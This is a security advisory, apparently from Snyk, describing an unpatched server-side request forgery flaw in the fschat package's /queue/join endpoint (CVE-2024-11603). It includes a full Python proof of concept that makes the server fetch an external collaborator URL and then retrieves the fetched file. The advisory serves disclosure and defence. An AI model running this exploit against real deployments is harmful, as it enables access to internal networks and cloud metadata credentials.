Server-side Request Forgery (SSRF) Affecting fschat package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-FSCHAT-9553181
  • published28 Mar 2025
  • disclosed20 Mar 2025
  • creditM Nadeem Qazi

Introduced: 20 Mar 2025

NewCVE-2024-11603  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

There is no fixed version for fschat.

Overview

fschat is an An open platform for training, serving, and evaluating large language model based chatbots.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the /queue/join? endpoint. An attacker can gain unauthorized access to internal networks or the AWS metadata endpoint, potentially exposing sensitive data and compromising internal servers by sending crafted requests with insufficiently validated path parameters.

PoC

import hashlib
from urllib.parse import urlparse
import requests
import time

# URL details
url = "https://5djhwm27uyebqmalm6j8p0jz8qeg25.burpcollaborator.net"

# Generate the SHA-1 hash of the URL
sha1 = hashlib.sha1()
sha1.update(url.encode("utf-8"))

# Parse the URL to determine the file name
parsed_url = urlparse(url)
path = parsed_url.path

# Determine file_name based on whether there's an endpoint in the URL
if path and path != "/":
    file_name = path.split("/")[-1]
else:
    file_name = parsed_url.netloc

# Generate the file URL using sha1
file_url = f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{file_name}"

# Prepare the POST request data
post_url = "http://127.0.0.1:7860/queue/join?"
post_headers = {
    "Host": "127.0.0.1:7860",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://127.0.0.1:7860/",
    "Content-Type": "application/json",
    "Origin": "http://127.0.0.1:7860",
    "Connection": "close",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "Priority": "u=4",
}
post_data = {
    "data": [
        None,
        "test it",
        {
            "path": url,
            "url": "test",
            "orig_name": "test.png",
            "size": 98602,
            "mime_type": "image/png",
            "meta": {"_type": "gradio.FileData"}
        },
        "Default"
    ],
    "event_data": None,
    "fn_index": 7,
    "trigger_id": 3,
    "session_hash": "6hcdlhvp0te"
}

# Send the POST request
post_response = requests.post(post_url, headers=post_headers, json=post_data)

# Check if POST request was successful
if post_response.status_code == 200:
    print("POST request was successful.")
else:
    print(f"POST request failed with status code: {post_response.status_code}")
    exit()

# Wait for 3 seconds
time.sleep(3)

# Send the GET request to download the file
get_response = requests.get(file_url)

if get_response.status_code == 200:
    # Access the file content
    file_data = get_response.content
    print(file_data)
else:
    print(f"Failed to download the file. Status code: {get_response.status_code}")

References

CVSS Base Scores

version 4.0
version 3.1